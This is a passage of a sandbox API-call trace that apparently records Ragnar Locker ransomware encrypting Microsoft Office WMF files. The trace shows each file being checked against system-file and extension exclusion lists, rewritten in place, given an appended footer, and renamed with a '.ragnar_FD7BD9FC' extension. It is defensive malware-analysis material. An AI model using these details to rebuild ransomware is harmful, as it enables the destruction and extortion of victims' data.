nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.545] GetProcessHeap () returned 0x580000 [0096.545] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.545] CloseHandle (hObject=0xf4) returned 1 [0096.545] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF" [0096.545] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF.ragnar_FD7BD9FC" [0096.545] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18197_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18197_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.546] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x5c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18198_.WMF", cAlternateFileName="")) returned 1 [0096.546] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.546] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18198_.WMF" | out: lpString1="BD18198_.WMF") returned="BD18198_.WMF" [0096.546] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF") returned=".WMF" [0096.546] lstrcmpiW (lpString1="BD18198_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.546] lstrcmpiW (lpString1="BD18198_.WMF", lpString2="autorun.inf") returned 1 [0096.546] lstrcmpiW (lpString1="BD18198_.WMF", lpString2="boot.ini") returned -1 [0096.546] lstrcmpiW (lpString1="BD18198_.WMF", lpString2="bootfont.bin") returned -1 [0096.546] lstrcmpiW (lpString1="BD18198_.WMF", lpString2="bootsect.bak") returned -1 [0096.546] lstrcmpiW (lpString1="BD18198_.WMF", lpString2="bootmgr") returned -1 [0096.546] lstrcmpiW (lpString1="BD18198_.WMF", lpString2="bootmgr.efi") returned -1 [0096.546] lstrcmpiW (lpString1="BD18198_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.546] lstrcmpiW (lpString1="BD18198_.WMF", lpString2="desktop.ini") returned -1 [0096.546] lstrcmpiW (lpString1="BD18198_.WMF", lpString2="iconcache.db") returned -1 [0096.546] lstrcmpiW (lpString1="BD18198_.WMF", lpString2="ntldr") returned -1 [0096.546] lstrcmpiW (lpString1="BD18198_.WMF", lpString2="ntuser.dat") returned -1 [0096.546] lstrcmpiW (lpString1="BD18198_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.546] lstrcmpiW (lpString1="BD18198_.WMF", lpString2="ntuser.ini") returned -1 [0096.546] lstrcmpiW (lpString1="BD18198_.WMF", lpString2="thumbs.db") returned -1 [0096.546] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.546] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.546] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.546] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.546] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.546] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.546] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18198_.wmf")) returned 0x20 [0096.547] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18198_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.547] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1476) returned 1 [0096.547] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.547] GetProcessHeap () returned 0x580000 [0096.547] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.547] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.550] VirtualAlloc (lpAddress=0x0, dwSize=0x5c4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.551] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.551] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.551] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5c4, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x5c4, lpOverlapped=0x0) returned 1 [0096.551] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.551] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5c4, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.551] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5c4, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x5c4, lpOverlapped=0x0) returned 1 [0096.551] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5c4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.551] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.551] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.551] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.551] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.551] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.551] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.552] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.552] GetProcessHeap () returned 0x580000 [0096.552] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.552] CloseHandle (hObject=0xf4) returned 1 [0096.552] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF" [0096.552] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF.ragnar_FD7BD9FC" [0096.552] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18198_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18198_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18198_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.552] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fdb1800, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fdb1800, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xc3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18199_.WMF", cAlternateFileName="")) returned 1 [0096.553] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.553] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18199_.WMF" | out: lpString1="BD18199_.WMF") returned="BD18199_.WMF" [0096.553] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF") returned=".WMF" [0096.553] lstrcmpiW (lpString1="BD18199_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.553] lstrcmpiW (lpString1="BD18199_.WMF", lpString2="autorun.inf") returned 1 [0096.553] lstrcmpiW (lpString1="BD18199_.WMF", lpString2="boot.ini") returned -1 [0096.553] lstrcmpiW (lpString1="BD18199_.WMF", lpString2="bootfont.bin") returned -1 [0096.553] lstrcmpiW (lpString1="BD18199_.WMF", lpString2="bootsect.bak") returned -1 [0096.553] lstrcmpiW (lpString1="BD18199_.WMF", lpString2="bootmgr") returned -1 [0096.553] lstrcmpiW (lpString1="BD18199_.WMF", lpString2="bootmgr.efi") returned -1 [0096.553] lstrcmpiW (lpString1="BD18199_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.553] lstrcmpiW (lpString1="BD18199_.WMF", lpString2="desktop.ini") returned -1 [0096.553] lstrcmpiW (lpString1="BD18199_.WMF", lpString2="iconcache.db") returned -1 [0096.553] lstrcmpiW (lpString1="BD18199_.WMF", lpString2="ntldr") returned -1 [0096.553] lstrcmpiW (lpString1="BD18199_.WMF", lpString2="ntuser.dat") returned -1 [0096.553] lstrcmpiW (lpString1="BD18199_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.553] lstrcmpiW (lpString1="BD18199_.WMF", lpString2="ntuser.ini") returned -1 [0096.553] lstrcmpiW (lpString1="BD18199_.WMF", lpString2="thumbs.db") returned -1 [0096.553] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.553] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.553] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.553] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.553] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.553] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.553] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.553] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18199_.wmf")) returned 0x20 [0096.553] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18199_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.554] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=3132) returned 1 [0096.554] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc33, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.554] GetProcessHeap () returned 0x580000 [0096.554] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.554] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.555] VirtualAlloc (lpAddress=0x0, dwSize=0xc3c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.555] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.555] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.555] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc3c, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xc3c, lpOverlapped=0x0) returned 1 [0096.556] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.556] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc3c, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.556] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc3c, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xc3c, lpOverlapped=0x0) returned 1 [0096.556] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc3c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.556] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.556] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc3c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.556] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.556] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.556] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.556] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.557] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.557] GetProcessHeap () returned 0x580000 [0096.557] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.557] CloseHandle (hObject=0xf4) returned 1 [0096.557] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF" [0096.557] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF.ragnar_FD7BD9FC" [0096.557] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18199_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18199_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18199_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.560] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd302000, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfd302000, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18200_.WMF", cAlternateFileName="")) returned 1 [0096.560] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.560] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18200_.WMF" | out: lpString1="BD18200_.WMF") returned="BD18200_.WMF" [0096.560] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF") returned=".WMF" [0096.560] lstrcmpiW (lpString1="BD18200_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.560] lstrcmpiW (lpString1="BD18200_.WMF", lpString2="autorun.inf") returned 1 [0096.560] lstrcmpiW (lpString1="BD18200_.WMF", lpString2="boot.ini") returned -1 [0096.560] lstrcmpiW (lpString1="BD18200_.WMF", lpString2="bootfont.bin") returned -1 [0096.560] lstrcmpiW (lpString1="BD18200_.WMF", lpString2="bootsect.bak") returned -1 [0096.560] lstrcmpiW (lpString1="BD18200_.WMF", lpString2="bootmgr") returned -1 [0096.560] lstrcmpiW (lpString1="BD18200_.WMF", lpString2="bootmgr.efi") returned -1 [0096.560] lstrcmpiW (lpString1="BD18200_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.560] lstrcmpiW (lpString1="BD18200_.WMF", lpString2="desktop.ini") returned -1 [0096.560] lstrcmpiW (lpString1="BD18200_.WMF", lpString2="iconcache.db") returned -1 [0096.560] lstrcmpiW (lpString1="BD18200_.WMF", lpString2="ntldr") returned -1 [0096.560] lstrcmpiW (lpString1="BD18200_.WMF", lpString2="ntuser.dat") returned -1 [0096.560] lstrcmpiW (lpString1="BD18200_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.560] lstrcmpiW (lpString1="BD18200_.WMF", lpString2="ntuser.ini") returned -1 [0096.560] lstrcmpiW (lpString1="BD18200_.WMF", lpString2="thumbs.db") returned -1 [0096.560] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.560] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.560] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.560] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.560] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.560] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.560] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18200_.wmf")) returned 0x20 [0096.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18200_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18200_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.561] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1564) returned 1 [0096.561] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x613, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.561] GetProcessHeap () returned 0x580000 [0096.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.561] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.563] VirtualAlloc (lpAddress=0x0, dwSize=0x61c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.563] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.563] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.563] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x61c, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x61c, lpOverlapped=0x0) returned 1 [0096.563] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.563] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x61c, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.563] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x61c, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x61c, lpOverlapped=0x0) returned 1 [0096.563] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x61c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.563] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.563] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x61c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.563] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.563] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.564] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.564] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.564] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.564] GetProcessHeap () returned 0x580000 [0096.564] HeapFree (in: hHeap=0x580000, dwFlags=0x1, 